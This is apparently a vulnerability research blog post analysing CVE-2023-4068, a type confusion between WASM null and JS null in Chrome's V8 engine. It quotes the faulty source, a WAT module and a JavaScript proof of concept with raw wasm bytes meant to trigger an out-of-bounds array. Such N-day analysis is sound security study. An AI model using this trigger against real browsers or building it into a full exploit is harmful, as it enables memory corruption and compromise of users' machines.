Sep 25, 2025 • VULNERABILITY RESEARCH

V8 N-Day Analysis CVE-2023-4068

By: Oleg
WASM bugs appear!

WASM Null vs JS Null Type Confusion ()

Bug Type

V8 introduced a WASM null type for WebAssembly references while still keeping the JS null-value object. Some engine paths mistakenly treat the JS null-value as a WASM null. This type confusion allows reading or writing beyond the allocated JS null object.

Commit 455d38ff8df7303474e8ead05cad659aac0a1bbc

Bug Location

From src/wasm/constant-expression-interface.cc:

WasmValue DefaultValueForType(ValueType type, Isolate* isolate) {
switch (type.kind()) {
case kI32:
case kI8:
case kI16:
return WasmValue(0);
case kI64:
return WasmValue(int64_t{0});
case kF32:
return WasmValue(0.0f);
case kF64:
return WasmValue(0.0);
case kS128:
return WasmValue(Simd128());
case kRefNull:
return WasmValue(isolate->factory()->null_value(), type); // ---> [2]
case kVoid:
case kRtt:
case kRef:
case kBottom:
UNREACHABLE();
}
}

When type.kind() is kRefNull, DefaultValueForType always returns the JS null_value, without checking whether a WASM null is expected. As a result, structure members or references that should be treated as wasm-null may incorrectly point to a JS null_value, creating a type confusion between the two null types.

V8 Structs for JS NullValue and WASM Null

JS NullValue

From src/objects/heap-object.h:

class HeapObjectPtr : public ObjectPtr {
public:
inline Map map() const;
inline int Size() const;
operator HeapObject*() { return reinterpret_cast<HeapObject*>(ptr()); }
};

WASM Null

From src/wasm/wasm-objects.h:

class WasmNull : public TorqueGeneratedWasmNull<WasmNull, HeapObject> {
public:
static constexpr int kSize = 64 * KB + kTaggedSize;
Address payload() { return ptr() + kHeaderSize - kHeapObjectTag; }
};

Generating WASM Ref Null Module (WAT)

(module
(type $t0 (func))
(func $main
;; Allocate a ref.null of externref type
(local $r externref)
(local.set $r (ref.null extern))
)
(export "main" (func $main))
)

WASM GC Type Confusion with OOB Example

let objArr = [{}, {}];
let doubleArr = [1.1, 2.2, 3.3];
let oobArr = [1.1, 1.1, 1.1]; // array to be expanded via bug
var wasm_code = new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 38, 6, 80, 0, 95, 1, 127, 1, 80, 0, 95, 1,
108, 0, 1, 80, 0, 95, 1, 108, 1, 0, 80, 0, 95, 1, 108, 2, 0, 80, 0, 95, 1,
108, 3, 0, 96, 0, 0, 3, 2, 1, 5, 4, 12, 1, 64, 0, 107, 4, 1, 1, 2, 251, 8,
4, 11, 7, 8, 1, 4, 109, 97, 105, 110, 0, 0, 10, 29, 1, 27, 0, 65, 0, 37, 0,
251, 3, 4, 0, 251, 3, 3, 0, 251, 3, 2, 0, 251, 3, 1, 0, 251, 3, 0, 0, 26,
11,
]);
var wasm_module = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module);
// Step 3: Trigger WASM GC bug to expand `oobArr`
wasm_instance.exports.main(); // internally calls DefaultValueForType(kRefNull)
console.log("oobArr length after bug:", oobArr.length);